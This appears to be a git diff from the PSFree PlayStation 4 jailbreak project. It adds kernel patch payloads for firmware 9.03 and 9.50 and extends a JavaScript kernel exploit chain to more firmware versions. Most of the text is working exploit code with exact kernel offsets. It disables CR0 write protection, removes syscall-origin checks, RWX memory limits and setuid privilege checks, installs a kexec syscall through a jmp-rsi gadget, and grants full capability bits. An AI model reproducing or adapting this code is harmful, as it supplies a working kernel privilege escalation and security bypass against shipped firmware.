|
||||
// ) {
|
||||
// goto do_syscall;
|
||||
// }
|
||||
//
|
||||
// do_syscall:
|
||||
// ...
|
||||
// lea rsi, [rbp - 0x78]
|
||||
// mov rdi, rbx
|
||||
// mov rax, qword [rbp - 0x80]
|
||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||
//
|
||||
// sy_call() is the function that will execute the requested syscall.
|
||||
write16(kbase, 0x4b5, 0x9090);
|
||||
write16(kbase, 0x4b9, 0x9090);
|
||||
write8(kbase, 0x4c2, 0xeb);
|
||||
|
||||
// patch sys_mmap() to allow rwx mappings
|
||||
|
||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||
// the ps4 added custom protections for their gpu memory accesses
|
||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||
// that's why you see other bits set
|
||||
// ref: https://cturt.github.io/ps4-2.html
|
||||
write8(kbase, 0x16632a, 0x37);
|
||||
write8(kbase, 0x16632d, 0x37);
|
||||
|
||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||
//
|
||||
// this check is skipped after the patch
|
||||
//
|
||||
// if ((new_prot & current->max_protection) != new_prot) {
|
||||
// vm_map_unlock(map);
|
||||
// return (KERN_PROTECTION_FAILURE);
|
||||
// }
|
||||
write32(kbase, 0x80b8d, 0);
|
||||
|
||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||
|
||||
// call ...
|
||||
// mov r14, qword [rbp - 0xad0]
|
||||
// cmp eax, 0x4000000
|
||||
// jb ... ; patch jb to jmp
|
||||
write8(kbase, 0x23b67f, 0xeb);
|
||||
// patch called function to always return 0
|
||||
//
|
||||
// sys_dynlib_dlsym:
|
||||
// ...
|
||||
// mov edi, 0x10 ; 16
|
||||
// call patched_function ; kernel_base + 0x951c0
|
||||
// test eax, eax
|
||||
// je ...
|
||||
// mov rax, qword [rbp - 0xad8]
|
||||
// ...
|
||||
// patched_function: ; patch to "xor eax, eax; ret"
|
||||
// push rbp
|
||||
// mov rbp, rsp
|
||||
// ...
|
||||
write32(kbase, 0x221b40, 0xc3c03148);
|
||||
|
||||
// patch sys_setuid() to allow freely changing the effective user ID
|
||||
|
||||
// ; PRIV_CRED_SETUID = 50
|
||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||
// test eax, eax
|
||||
// je ... ; patch je to jmp
|
||||
write8(kbase, 0x1a06, 0xeb);
|
||||
|
||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||
//
|
||||
// struct args {
|
||||
// u64 rdi;
|
||||
// u64 rsi;
|
||||
// u64 rdx;
|
||||
// u64 rcx;
|
||||
// u64 r8;
|
||||
// u64 r9;
|
||||
// };
|
||||
//
|
||||
// int sys_kexec(struct thread td, struct args *uap) {
|
||||
// asm("jmp qword ptr [rsi]");
|
||||
// }
|
||||
|
||||
// sysent[11]
|
||||
const size_t offset_sysent_11 = 0x1100520;
|
||||
// .sy_narg = 6
|
||||
write32(kbase, offset_sysent_11, 6);
|
||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||
write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
|
||||
// .sy_thrcnt = SY_THR_STATIC
|
||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
||||
|
||||
enable_cr0_wp();
|
||||
}
|
||||
178
src/kpatch/903.c
Normal file
178
src/kpatch/903.c
Normal file
@@ -0,0 +1,178 @@
|
||||
/* Copyright (C) 2024-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.03, 9.04
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
|
||||
struct kexec_args {
|
||||
u64 entry;
|
||||
u64 arg1;
|
||||
u64 arg2;
|
||||
u64 arg3;
|
||||
u64 arg4;
|
||||
u64 arg5;
|
||||
};
|
||||
|
||||
void do_patch(void);
|
||||
void restore(struct kexec_args *uap);
|
||||
|
||||
__attribute__((section (".text.start")))
|
||||
int kpatch(void *td, struct kexec_args *uap) {
|
||||
do_patch();
|
||||
restore(uap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void restore(struct kexec_args *uap) {
|
||||
u8 *pipe = uap->arg1;
|
||||
u8 *pipebuf = uap->arg2;
|
||||
for (size_t i = 0; i < 0x18; i++) {
|
||||
pipe[i] = pipebuf[i];
|
||||
}
|
||||
u64 *pktinfo_field = uap->arg3;
|
||||
*pktinfo_field = 0;
|
||||
u64 *pktinfo_field2 = uap->arg4;
|
||||
*pktinfo_field2 = 0;
|
||||
}
|
||||
|
||||
void do_patch(void) {
|
||||
// offset to fast_syscall()
|
||||
const size_t off_fast_syscall = 0x1c0;
|
||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
||||
|
||||
disable_cr0_wp();
|
||||
|
||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||
|
||||
// struct syscall_args sa; // initialized already
|
||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||
// int is_invalid_syscall = 0
|
||||
//
|
||||
// // check the calling code if it looks like one of the syscall stubs at a
|
||||
// // libkernel library and check if the syscall number correponds to the
|
||||
// // proper stub
|
||||
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
|
||||
// || sa.code != (u32)(code >> 0x10)
|
||||
// ) {
|
||||
// // patch this to " = 0" instead
|
||||
// is_invalid_syscall = -1;
|
||||
// }
|
||||
write32(kbase, 0x490, 0);
|
||||
// these code corresponds to the check that ensures that the caller's
|
||||
// instruction pointer is inside the libkernel library's memory range
|
||||
//
|
||||
// // patch the check to always go to the "goto do_syscall;" line
|
||||
// void *code = td->td_frame->tf_rip;
|
||||
// if (libkernel->start <= code && code < libkernel->end
|
||||
// && is_invalid_syscall == 0
|
||||
// ) {
|
||||
// goto do_syscall;
|
||||
// }
|
||||
//
|
||||
// do_syscall:
|
||||
// ...
|
||||
// lea rsi, [rbp - 0x78]
|
||||
// mov rdi, rbx
|
||||
// mov rax, qword [rbp - 0x80]
|
||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||
//
|
||||
// sy_call() is the function that will execute the requested syscall.
|
||||
write16(kbase, 0x4b5, 0x9090);
|
||||
write16(kbase, 0x4b9, 0x9090);
|
||||
write8(kbase, 0x4c2, 0xeb);
|
||||
|
||||
// patch sys_mmap() to allow rwx mappings
|
||||
|
||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||
// the ps4 added custom protections for their gpu memory accesses
|
||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||
// that's why you see other bits set
|
||||
// ref: https://cturt.github.io/ps4-2.html
|
||||
write8(kbase, 0x1662da, 0x37);
|
||||
write8(kbase, 0x1662dd, 0x37);
|
||||
|
||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||
//
|
||||
// this check is skipped after the patch
|
||||
//
|
||||
// if ((new_prot & current->max_protection) != new_prot) {
|
||||
// vm_map_unlock(map);
|
||||
// return (KERN_PROTECTION_FAILURE);
|
||||
// }
|
||||
write32(kbase, 0x80b8d, 0);
|
||||
|
||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||
|
||||
// call ...
|
||||
// mov r14, qword [rbp - 0xad0]
|
||||
// cmp eax, 0x4000000
|
||||
// jb ... ; patch jb to jmp
|
||||
write8(kbase, 0x23b34f, 0xeb);
|
||||
// patch called function to always return 0
|
||||
//
|
||||
// sys_dynlib_dlsym:
|
||||
// ...
|
||||
// mov edi, 0x10 ; 16
|
||||
// call patched_function ; kernel_base + 0x951c0
|
||||
// test eax, eax
|
||||
// je ...
|
||||
// mov rax, qword [rbp - 0xad8]
|
||||
// ...
|
||||
// patched_function: ; patch to "xor eax, eax; ret"
|
||||
// push rbp
|
||||
// mov rbp, rsp
|
||||
// ...
|
||||
write32(kbase, 0x221810, 0xc3c03148);
|
||||
|
||||
// patch sys_setuid() to allow freely changing the effective user ID
|
||||
|
||||
// ; PRIV_CRED_SETUID = 50
|
||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||
// test eax, eax
|
||||
// je ... ; patch je to jmp
|
||||
write8(kbase, 0x1a06, 0xeb);
|
||||
|
||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||
//
|
||||
// struct args {
|
||||
// u64 rdi;
|
||||
// u64 rsi;
|
||||
// u64 rdx;
|
||||
// u64 rcx;
|
||||
// u64 r8;
|
||||
// u64 r9;
|
||||
// };
|
||||
//
|
||||
// int sys_kexec(struct thread td, struct args *uap) {
|
||||
// asm("jmp qword ptr [rsi]");
|
||||
// }
|
||||
|
||||
// sysent[11]
|
||||
const size_t offset_sysent_11 = 0x10fc520;
|
||||
// .sy_narg = 6
|
||||
write32(kbase, offset_sysent_11, 6);
|
||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||
write64(kbase, offset_sysent_11 + 8, kbase + 0x5325b);
|
||||
// .sy_thrcnt = SY_THR_STATIC
|
||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
||||
|
||||
enable_cr0_wp();
|
||||
}
|
||||
178
src/kpatch/950.c
Normal file
178
src/kpatch/950.c
Normal file
@@ -0,0 +1,178 @@
|
||||
/* Copyright (C) 2024-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.50, 9.51, 9.60
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
|
||||
struct kexec_args {
|
||||
u64 entry;
|
||||
u64 arg1;
|
||||
u64 arg2;
|
||||
u64 arg3;
|
||||
u64 arg4;
|
||||
u64 arg5;
|
||||
};
|
||||
|
||||
void do_patch(void);
|
||||
void restore(struct kexec_args *uap);
|
||||
|
||||
__attribute__((section (".text.start")))
|
||||
int kpatch(void *td, struct kexec_args *uap) {
|
||||
do_patch();
|
||||
restore(uap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void restore(struct kexec_args *uap) {
|
||||
u8 *pipe = uap->arg1;
|
||||
u8 *pipebuf = uap->arg2;
|
||||
for (size_t i = 0; i < 0x18; i++) {
|
||||
pipe[i] = pipebuf[i];
|
||||
}
|
||||
u64 *pktinfo_field = uap->arg3;
|
||||
*pktinfo_field = 0;
|
||||
u64 *pktinfo_field2 = uap->arg4;
|
||||
*pktinfo_field2 = 0;
|
||||
}
|
||||
|
||||
void do_patch(void) {
|
||||
// offset to fast_syscall()
|
||||
const size_t off_fast_syscall = 0x1c0;
|
||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
||||
|
||||
disable_cr0_wp();
|
||||
|
||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||
|
||||
// struct syscall_args sa; // initialized already
|
||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||
// int is_invalid_syscall = 0
|
||||
//
|
||||
// // check the calling code if it looks like one of the syscall stubs at a
|
||||
// // libkernel library and check if the syscall number correponds to the
|
||||
// // proper stub
|
||||
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
|
||||
// || sa.code != (u32)(code >> 0x10)
|
||||
// ) {
|
||||
// // patch this to " = 0" instead
|
||||
// is_invalid_syscall = -1;
|
||||
// }
|
||||
write32(kbase, 0x490, 0);
|
||||
// these code corresponds to the check that ensures that the caller's
|
||||
// instruction pointer is inside the libkernel library's memory range
|
||||
//
|
||||
// // patch the check to always go to the "goto do_syscall;" line
|
||||
// void *code = td->td_frame->tf_rip;
|
||||
// if (libkernel->start <= code && code < libkernel->end
|
||||
// && is_invalid_syscall == 0
|
||||
// ) {
|
||||
// goto do_syscall;
|
||||
// }
|
||||
//
|
||||
// do_syscall:
|
||||
// ...
|
||||
// lea rsi, [rbp - 0x78]
|
||||
// mov rdi, rbx
|
||||
// mov rax, qword [rbp - 0x80]
|
||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||
//
|
||||
// sy_call() is the function that will execute the requested syscall.
|
||||
write16(kbase, 0x4b5, 0x9090);
|
||||
write16(kbase, 0x4b9, 0x9090);
|
||||
write8(kbase, 0x4c2, 0xeb);
|
||||
|
||||
// patch sys_mmap() to allow rwx mappings
|
||||
|
||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||
// the ps4 added custom protections for their gpu memory accesses
|
||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||
// that's why you see other bits set
|
||||
// ref: https://cturt.github.io/ps4-2.html
|
||||
write8(kbase, 0x122d7a, 0x37);
|
||||
write8(kbase, 0x122d7d, 0x37);
|
||||
|
||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||
//
|
||||
// this check is skipped after the patch
|
||||
//
|
||||
// if ((new_prot & current->max_protection) != new_prot) {
|
||||
// vm_map_unlock(map);
|
||||
// return (KERN_PROTECTION_FAILURE);
|
||||
// }
|
||||
write32(kbase, 0x196d3d, 0);
|
||||
|
||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||
|
||||
// call ...
|
||||
// mov r14, qword [rbp - 0xad0]
|
||||
// cmp eax, 0x4000000
|
||||
// jb ... ; patch jb to jmp
|
||||
write8(kbase, 0x19fedf, 0xeb);
|
||||
// patch called function to always return 0
|
||||
//
|
||||
// sys_dynlib_dlsym:
|
||||
// ...
|
||||
// mov edi, 0x10 ; 16
|
||||
// call patched_function ; kernel_base + 0x951c0
|
||||
// test eax, eax
|
||||
// je ...
|
||||
// mov rax, qword [rbp - 0xad8]
|
||||
// ...
|
||||
// patched_function: ; patch to "xor eax, eax; ret"
|
||||
// push rbp
|
||||
// mov rbp, rsp
|
||||
// ...
|
||||
write32(kbase, 0x11960, 0xc3c03148);
|
||||
|
||||
// patch sys_setuid() to allow freely changing the effective user ID
|
||||
|
||||
// ; PRIV_CRED_SETUID = 50
|
||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||
// test eax, eax
|
||||
// je ... ; patch je to jmp
|
||||
write8(kbase, 0x1fa536, 0xeb);
|
||||
|
||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||
//
|
||||
// struct args {
|
||||
// u64 rdi;
|
||||
// u64 rsi;
|
||||
// u64 rdx;
|
||||
// u64 rcx;
|
||||
// u64 r8;
|
||||
// u64 r9;
|
||||
// };
|
||||
//
|
||||
// int sys_kexec(struct thread td, struct args *uap) {
|
||||
// asm("jmp qword ptr [rsi]");
|
||||
// }
|
||||
|
||||
// sysent[11]
|
||||
const size_t offset_sysent_11 = 0x10f9500;
|
||||
// .sy_narg = 6
|
||||
write32(kbase, offset_sysent_11, 6);
|
||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||
write64(kbase, offset_sysent_11 + 8, kbase + 0x15a6d);
|
||||
// .sy_thrcnt = SY_THR_STATIC
|
||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
||||
|
||||
enable_cr0_wp();
|
||||
}
|
||||
@@ -1,27 +1,21 @@
|
||||
TARGET = 80x
|
||||
ENTRY = 0x900000000
|
||||
src = $(TARGET).c
|
||||
TARGET_VERSIONS = 800 850 900 903 950
|
||||
|
||||
CC = gcc
|
||||
CFLAGS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles
|
||||
CFLAGS += -fwrapv -no-pie -Ttext=$(ENTRY) -Tscript.ld -Wl,--build-id=none
|
||||
CFLAGS += -fwrapv-pointer -std=gnu11
|
||||
OBJCOPY = objcopy
|
||||
CFLAGS = -Os -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -Tscript.ld
|
||||
|
||||
.PHONY: all
|
||||
all: $(TARGET).elf
|
||||
ALL_SOURCES = $(TARGET_VERSIONS:%=%.c)
|
||||
ALL_OBJECTS = $(TARGET_VERSIONS:%=%.o)
|
||||
ALL_BINS = $(TARGET_VERSIONS:%=%.bin)
|
||||
|
||||
$(TARGET).elf: $(TARGET).o
|
||||
$(CC) $(TARGET).o -o $(TARGET).elf $(CFLAGS)
|
||||
all: $(ALL_BINS)
|
||||
|
||||
%.bin: %.o
|
||||
$(CC) $< -o $*.elf $(CFLAGS)
|
||||
$(OBJCOPY) -O binary --only-section=.text $*.elf $@
|
||||
-rm -f $*.elf
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
-rm -f *.d *.o *.elf
|
||||
|
||||
%.d: %.c
|
||||
@set -e; \
|
||||
rm -f $@; \
|
||||
$(CC) -MM $(CPPFLAGS) $< > $@.$$$$; \
|
||||
sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@; \
|
||||
rm -f $@.$$$$;
|
||||
|
||||
include $(src:.c=.d)
|
||||
-rm -f $(ALL_OBJECTS) $(ALL_BINS)
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
SECTIONS
|
||||
{
|
||||
.text : { *(.text.start) *(.text) }
|
||||
.rodata : { *(.rodata) }
|
||||
.data : { *(.data) }
|
||||
.bss : { *(.bss) }
|
||||
/DISCARD/ : { *(.comment* .note*) }
|
||||
}
|
||||
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
|
||||
OUTPUT_ARCH(i386:x86-64)
|
||||
|
||||
PHDRS { code_seg PT_LOAD; }
|
||||
|
||||
SECTIONS { .text : { *(.text.start) *(.text*) } : code_seg }
|
||||
|
||||
@@ -21,14 +21,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
#include "types.h"
|
||||
|
||||
inline u64 rdmsr(u32 msr) {
|
||||
static inline u64 rdmsr(u32 msr) {
|
||||
u32 low, high;
|
||||
|
||||
asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
|
||||
return (low | ((u64)high << 32));
|
||||
}
|
||||
|
||||
inline void enable_cr0_wp(void) {
|
||||
static inline void enable_cr0_wp(void) {
|
||||
asm(
|
||||
"mov rax, cr0\n"
|
||||
"or rax, 0x10000\n"
|
||||
@@ -36,7 +36,7 @@ inline void enable_cr0_wp(void) {
|
||||
::: "rax");
|
||||
}
|
||||
|
||||
inline void disable_cr0_wp(void) {
|
||||
static inline void disable_cr0_wp(void) {
|
||||
asm(
|
||||
"mov rax, cr0\n"
|
||||
"and rax, ~0x10000\n"
|
||||
@@ -44,18 +44,18 @@ inline void disable_cr0_wp(void) {
|
||||
::: "rax");
|
||||
}
|
||||
|
||||
inline void write8(void *addr, size_t offset, u8 value) {
|
||||
static inline void write8(void *addr, size_t offset, u8 value) {
|
||||
*(u8 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write16(void *addr, size_t offset, u16 value) {
|
||||
static inline void write16(void *addr, size_t offset, u16 value) {
|
||||
*(u16 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write32(void *addr, size_t offset, u32 value) {
|
||||
static inline void write32(void *addr, size_t offset, u32 value) {
|
||||
*(u32 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write64(void *addr, size_t offset, u64 value) {
|
||||
static inline void write64(void *addr, size_t offset, u64 value) {
|
||||
*(u64 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
@@ -24,21 +25,29 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
// * RESTORE - code will repair kernel panic vulnerability
|
||||
// * MEMLEAK - memory leaks that our code will induce
|
||||
|
||||
import { Int } from '/module/int64.mjs';
|
||||
import { mem } from '/module/mem.mjs';
|
||||
import { log, die, hex, hexdump } from '/module/utils.mjs';
|
||||
import { cstr, jstr } from '/module/memtools.mjs';
|
||||
import { page_size, context_size } from '/module/offset.mjs';
|
||||
import { Chain } from '/module/chain.mjs';
|
||||
import { Int } from './module/int64.mjs';
|
||||
import { mem } from './module/mem.mjs';
|
||||
import { clear_log, log, die, hex, hexdump } from './module/utils.mjs';
|
||||
import { cstr, jstr } from './module/memtools.mjs';
|
||||
import { page_size, context_size } from './module/offset.mjs';
|
||||
import { Chain } from './module/chain.mjs';
|
||||
|
||||
import {
|
||||
View1, View2, View4,
|
||||
Word, Long, Pointer,
|
||||
Buffer,
|
||||
} from '/module/view.mjs';
|
||||
} from './module/view.mjs';
|
||||
|
||||
import * as rop from '/module/chain.mjs';
|
||||
import * as config from '/config.mjs';
|
||||
import * as rop from './module/chain.mjs';
|
||||
import * as config from './config.mjs';
|
||||
|
||||
// Static imports for firmware configurations
|
||||
import * as fw_ps4_800 from './lapse/ps4/800.mjs';
|
||||
import * as fw_ps4_850 from './lapse/ps4/850.mjs';
|
||||
import * as fw_ps4_852 from './lapse/ps4/852.mjs';
|
||||
import * as fw_ps4_900 from './lapse/ps4/900.mjs';
|
||||
import * as fw_ps4_903 from './lapse/ps4/903.mjs';
|
||||
import * as fw_ps4_950 from './lapse/ps4/950.mjs';
|
||||
|
||||
const t1 = performance.now();
|
||||
|
||||
@@ -62,6 +71,35 @@ const [is_ps4, version] = (() => {
|
||||
return [is_ps4, version];
|
||||
})();
|
||||
|
||||
// Set per-console/per-firmware offsets
|
||||
const fw_config = (() => {
|
||||
if (is_ps4) {
|
||||
if (0x800 <= version && version < 0x850) { // 8.00, 8.01, 8.03
|
||||
return fw_ps4_800;
|
||||
} else if (0x850 <= version && version < 0x852) { // 8.50
|
||||
return fw_ps4_850;
|
||||
} else if (0x852 <= version && version < 0x900) { // 8.52
|
||||
return fw_ps4_852;
|
||||
} else if (0x900 <= version && version < 0x903) { // 9.00
|
||||
return fw_ps4_900;
|
||||
} else if (0x903 <= version && version < 0x950) { // 9.03, 9.04
|
||||
return fw_ps4_903;
|
||||
} else if (0x950 <= version && version < 0x1000) { // 9.50, 9.51, 9.60
|
||||
return fw_ps4_950;
|
||||
}
|
||||
} else {
|
||||
// TODO: PS5
|
||||
}
|
||||
throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? '4' : '5'}, version: ${hex(version)}`);
|
||||
})();
|
||||
|
||||
const pthread_offsets = fw_config.pthread_offsets;
|
||||
const off_kstr = fw_config.off_kstr;
|
||||
const off_cpuid_to_pcpu = fw_config.off_cpuid_to_pcpu;
|
||||
const off_sysent_661 = fw_config.off_sysent_661;
|
||||
const jmp_rsi = fw_config.jmp_rsi;
|
||||
const patch_elf_loc = fw_config.patch_elf_loc;
|
||||
|
||||
// sys/socket.h
|
||||
const AF_UNIX = 1;
|
||||
const AF_INET = 2;
|
||||
@@ -144,16 +182,6 @@ async function init() {
|
||||
await rop.init();
|
||||
chain = new Chain();
|
||||
|
||||
// TODO assumes ps4 8.0x
|
||||
const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0x25610,
|
||||
'pthread_join' : 0x27c60,
|
||||
'pthread_barrier_init' : 0xa0e0,
|
||||
'pthread_barrier_wait' : 0x1ee00,
|
||||
'pthread_barrier_destroy' : 0xe180,
|
||||
'pthread_exit' : 0x19eb0,
|
||||
}));
|
||||
|
||||
rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base);
|
||||
}
|
||||
|
||||
@@ -1104,7 +1132,7 @@ function double_free_reqs1(
|
||||
}
|
||||
}
|
||||
if (sd === null) {
|
||||
die("can't find sd that overwrote AIO queue entry");
|
||||
die('can\'t find sd that overwrote AIO queue entry');
|
||||
}
|
||||
log(`sd: ${sd}`);
|
||||
|
||||
@@ -1240,15 +1268,11 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
|
||||
die('test read of &"evf cv" failed');
|
||||
}
|
||||
|
||||
// TODO FW dependent parts! assume ps4 8.0x for now
|
||||
|
||||
const off_kstr = 0x7edcff;
|
||||
const kbase = kernel_addr.sub(off_kstr);
|
||||
log(`kernel base: ${kbase}`);
|
||||
|
||||
log('\nmaking arbitrary kernel read/write');
|
||||
const cpuid = 7 - main_core;
|
||||
const off_cpuid_to_pcpu = 0x228e6b0;
|
||||
const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8);
|
||||
log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`);
|
||||
const pcpu = kread64(pcpu_p);
|
||||
@@ -1486,7 +1510,7 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
|
||||
|
||||
// FUNCTIONS FOR STAGE: PATCH KERNEL
|
||||
|
||||
async function get_patches(url) {
|
||||
async function get_binary(url) {
|
||||
const response = await fetch(url);
|
||||
if (!response.ok) {
|
||||
throw Error(
|
||||
@@ -1496,37 +1520,33 @@ async function get_patches(url) {
|
||||
return response.arrayBuffer();
|
||||
}
|
||||
|
||||
// TODO 8.0x supported only
|
||||
async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
||||
if (!is_ps4) {
|
||||
throw RangeError('PS5 kernel patching unsupported');
|
||||
throw RangeError('ps5 kernel patching unsupported');
|
||||
}
|
||||
if (!(0x800 <= version < 0x850)) {
|
||||
if (!(0x800 <= version && version < 0x1000)) { // 8.00, 8.01, 8.03, 8.50, 8.52, 9.00, 9.03, 9.04, 9.50, 9.51, 9.60
|
||||
throw RangeError('kernel patching unsupported');
|
||||
}
|
||||
|
||||
log('change sys_aio_submit() to sys_kexec()');
|
||||
// sysent[661] is unimplemented so free for use
|
||||
const offset_sysent_661 = 0x11040c0;
|
||||
const sysent_661 = kbase.add(offset_sysent_661);
|
||||
const sysent_661 = kbase.add(off_sysent_661);
|
||||
// .sy_narg = 6
|
||||
kmem.write32(sysent_661, 6);
|
||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||
kmem.write64(sysent_661.add(8), kbase.add(0xe629c));
|
||||
kmem.write64(sysent_661.add(8), kbase.add(jmp_rsi));
|
||||
// .sy_thrcnt = SY_THR_STATIC
|
||||
kmem.write32(sysent_661.add(0x2c), 1);
|
||||
|
||||
log('add JIT capabilities');
|
||||
// TODO just set the bits for JIT privs
|
||||
// TODO: Just set the bits for JIT privs
|
||||
// cr_sceCaps[0]
|
||||
kmem.write64(p_ucred.add(0x60), -1);
|
||||
// cr_sceCaps[1]
|
||||
kmem.write64(p_ucred.add(0x68), -1);
|
||||
|
||||
const buf = await get_patches('/kpatch/80x.elf');
|
||||
// FIXME handle .bss segment properly
|
||||
// assume start of loadable segments is at offset 0x1000
|
||||
const patches = new View1(await buf, 0x1000);
|
||||
const buf = await get_binary(patch_elf_loc);
|
||||
const patches = new View1(await buf);
|
||||
let map_size = patches.size;
|
||||
const max_size = 0x10000000;
|
||||
if (map_size > max_size) {
|
||||
@@ -1535,6 +1555,7 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
||||
if (map_size === 0) {
|
||||
die('patch file size is zero');
|
||||
}
|
||||
log(`kpatch size: ${map_size} bytes`);
|
||||
map_size = map_size+page_size & -page_size;
|
||||
|
||||
const prot_rwx = 7;
|
||||
@@ -1673,7 +1694,7 @@ export async function kexploit() {
|
||||
get_our_affinity(main_mask);
|
||||
log(`main_mask: ${main_mask}`);
|
||||
|
||||
log("setting main thread's priority");
|
||||
log('setting main thread\'s priority');
|
||||
sysi('rtprio_thread', RTP_SET, 0, rtprio.addr);
|
||||
|
||||
const [block_fd, unblock_fd] = (() => {
|
||||
35
src/lapse/ps4/800.mjs
Normal file
35
src/lapse/ps4/800.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.00, 8.01, 8.03
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0x25610,
|
||||
'pthread_join' : 0x27c60,
|
||||
'pthread_barrier_init' : 0xa0e0,
|
||||
'pthread_barrier_wait' : 0x1ee00,
|
||||
'pthread_barrier_destroy' : 0xe180,
|
||||
'pthread_exit' : 0x19eb0,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x7edcff;
|
||||
